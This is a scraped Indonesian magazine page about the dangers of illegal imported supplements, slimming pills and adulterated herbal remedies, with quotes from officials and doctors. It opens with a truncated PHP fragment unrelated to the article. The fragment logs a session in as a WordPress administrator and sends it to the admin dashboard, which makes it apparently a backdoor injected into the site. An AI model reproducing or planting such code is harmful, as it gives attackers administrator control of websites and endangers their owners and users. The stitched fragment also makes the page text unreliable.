user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Health & Diet
Memilih Suplemen yang Aman

10 Jun 2013


Kebanyakan suplemen-suplemen penambah stamina atau obat pelangsing ilegal yang disusupi amphetamine atau cathinone berbahaya ini merupakan produk impor dari Cina, yang dijual lewat black market. “Peredarannya banyak lewat tawaran dari mulut ke mulut di antara teman,” jelas Humas BNN Kombes Pol. Sumirat Dwiyanto.

“Satu bungkus isinya lima butir pil, ditawarkan dari teman ke teman: ‘Pakai ini saja, enak deh, badan jadi nggak cepat capek. Semangat terus. Bisa bikin kurus, pula,” cerita Sumirat tentang bagaimana modus peredaran zat adiktif tersebut beredar.

Selain beredar lewat mulut ke mulut, banyak produk suplemen dan pelangsing impor yang tak jelas keamanannya, mudah diperoleh di toko-toko obat kuat, klinik ilegal, dan jual beli online. Sampai Oktober 2012 lalu, BPOM menemukan dan menyita 66 obat ilegal yang terdiri dari 40 macam suplemen untuk disfungsi ereksi, tiga macam obat perangsang wanita, empat  macam anestesi lokal, delapan macam obat penurun berat badan herbal, dua macam suplemen makanan, serta sembilan macam produk kategori lainnya.

“Sebaiknya masyarakat waspada untuk tidak membeli dan mengonsumsi produk impor ilegal tanpa identitas yang belum diuji keamanannya oleh BPOM dan tak terdaftar,” tukas Sumirat. Sebab, bukan tidak mungkin, ada kandungan narkoba di dalamnya.
   
Sudah seharusnya kita tidak mengonsumsi obat-obatan sembarangan, termasuk jamu dan obat kuat. Orang Indonesia sejak dulu akrab dengan tradisi meminum ramuan tradisional untuk menghilangkan pegal-pegal, meningkatkan stamina, dan pelangsingan.
   
Yayasan Pemberdayaan Konsumen Kesehatan Indonesia (YPKKI) menemukan 165 jenis produk jamu dicampur bahan kimia obat (BKO) beredar di pasaran. Termasuk 56 di antaranya pernah diumumkan berbahaya dan ditarik dari peredaran oleh BPOM.  Jamu-jamu itu terdiri dari produk jamu pegal linu, produk pelangsing, dan jamu kuat
   
Salah satu cara mendeteksi keberadaan campuran bahan kimia dalam obat tradisional antara lain dengan mengamati kecepatan khasiatnya. Obat tradisional seperti herbal biasanya tidak berkhasiat secara instan, jika terjadi demikian patut dicurigai adanya tambahan zat kimia. Gangguan kesehatan yang diperoleh dari mengonsumsi jamu dengan BKO antara lain, penyakit jantung, ginjal, hati, dan stroke yang sangat berisiko tinggi kematian.   

Advertisement
Hal yang melegakan, dari semua sample multivitamin dan pelangsing yang beredar (secara legal) di pasaran dan telah melewati uji pemeriksaan Badan Pengawas Obat dan Makanan (BPOM), telah terbukti tidak mengandung zat narkotika dan aman dikonsumsi. “Sumber utama pendongkrak energi dari stimulan-stimulan yang beredar di pasaran sebetulnya berasal dari kandungan kafein,” ungkap dr. Kristiana. Kafein, seperti halnya alkohol dan nikotin, juga bersifat adiktif, tapi tidak masuk dalam golongan narkotika atau psikotropika.

“Walau demikian, BNN bersama Badan POM masih terus melakukan uji penelitian produk-produk pelangsing dan suplemen pembangkit tenaga, termasuk obat kuat dan jamu, yang beredar di pasaran saat ini. Apabila di kemudian hari kami menemukan kandungan berbahaya atau narkotika yang menyusup dalam suplemen dan pelangsing, tentunya langsung kami tarik dari peredaran,” tukas Sumirat.
   
Sebetulnya, dengan makan makanan yang berkecukupan gizi dan kalori sesuai dengan aktivitasnya, orang sudah bisa memperoleh vitamin dan tenaga tanpa harus minum suplemen tambahan. Orang-orang yang memiliki jam kerja panjang atau pekerja berat, sering merasa kurang bertenaga dan tidak merasa segar. Pemenuhan energi tersebut seharusnya diperoleh dari zat gizi karbohidrat dan lemak sebagai sumber energi utama.
   
Namun, pada saat ini terdapat suplemen yang tidak saja mengandung zat gizi karbohidrat, tetapi ditambahkan pula stimulan seperti kafein yang dapat memberikan efek segar dan juga vitamin yang dapat mempercepat pembentukan energi. “Penggunaan suplemen seperti ini tentunya harus dalam jumlah terbatas, tidak berlebihan, sehingga tidak berisiko terhadap kesehatan,” dr. Inge mengingatkan.
   
Pemakaian obat pelangsing juga seyogyanya harus ada alasan yang jelas dan di bawah pengawasan dokter. “Obat yang diresepkan untuk menahan rasa lapar itu sebetulnya hanya untuk mereka yang mengalami obesitas dengan indeks massa tubuh  di atas 23-25 kg/m² dan memiliki penyakit seperti diabetes, kolesterol tinggi, sulit hamil, atau tidak bisa mengendalikan nafsu makan. Karena, mereka perlu menurunkan kelebihan berat badannya dalam waktu cepat untuk alasan kesehatan.” jelas dr. Inge.     
   
Selama pemakaian obat, kondisi psikis pasien, seperti tekanan darah dan denyut jantung, akan terus dipantau oleh dokter. Obat pelangsing keras ini tidak disarankan bagi penderita jantung dan hipertensi karena dapat memacu metabolisme tubuh.
   
Sementara, untuk mereka yang tidak memiliki masalah kesehatan dan ingin memiliki tubuh langsing atau lebih berenergi, dr. Inge menyarankan sebaiknya mengatur asupan kalori sesuai dengan kebutuhan aktivitas serta rutin berolahraga.




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?